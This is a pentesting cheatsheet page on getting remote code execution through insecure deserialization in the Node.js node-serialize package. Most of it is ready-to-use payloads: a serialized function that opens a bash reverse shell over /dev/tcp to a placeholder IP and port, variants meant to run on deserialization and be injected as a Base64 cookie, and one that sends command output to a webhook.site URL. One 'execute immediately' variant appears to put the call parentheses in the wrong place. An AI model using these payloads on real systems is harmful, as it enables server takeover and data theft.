Skip to content

Node - Serialize ​

This cheatsheet covers exploiting insecure deserialization in Node.js using the node-serialize package, which can lead to remote code execution (RCE) if unsanitized user input is deserialized.

Resources ​

Vulnerable Serialization Modules ​

Several Node.js serialization methods exist. Examples:

  • JSON (native, generally safe)
  • MessagePack
  • serialize-to-js
  • âś… node-serialize (allows function deserialization — this is exploitable)

Exploitation with node-serialize ​

Documentation

Use the following code to serialize an object containing a malicious function:

js
// npm install node-serialize
let serialize = require("node-serialize");
let obj = {
  rce: function () {
    require("child_process").exec(
      'bash -c "bash -i &> /dev/tcp/YOUR_IP/YOUR_PORT 0>&1"',
    );
  },
};

console.log("Serialized: \n" + serialize.serialize(obj));

Payload Cleanup ​

When copying the serialized payload, make sure to:

  • Remove any \r, \n, or \t characters.
  • Ensure the function is executed (append () if needed).
  • Escape double quotes properly (\").
json
{
  "rce": "_$$ND_FUNC$$_function(){require('child_process').exec('bash -c \"bash -i &> /dev/tcp/IP/PORT 0>&1\"')}"
}

To execute the function immediately, add ():

json
{
  "rce": "_$$ND_FUNC$$_function(){require('child_process').exec('bash -c \"bash -i &> /dev/tcp/IP/PORT 0>&1\"')()}"
}

Alternatively, embed a direct function call:

json
// or remove function(){}
{
  "rce": "_$$ND_FUNC$$_require('child_process').exec('bash -c \"bash -i &> /dev/tcp/IP/PORT 0>&1\"')"
}

Then, encode the payload (e.g. in Base64) and inject it (e.g. as a cookie).

Payloads ​

⚠️ Important: Always compact payloads before injecting them into HTTP requests (e.g. cookies). Pretty-printed or multiline payloads may break parsing or fail silently.

Command execution ​

js
let obj = {
  rce: function () {
    require("child_process").exec("ls /", function (error, stdout, stderr) {
      console.log(stdout);
    });
  },
};

Output Exfiltration ​

js
let obj = {
  username: "foo",
  password: function () {
    require("child_process").exec("ls .", function (error, stdout, stderr) {
      require("https").get(
        "https://webhook.site/url?exec=".concat(stdout),
        (resp) => {},
      );
    });
  },
};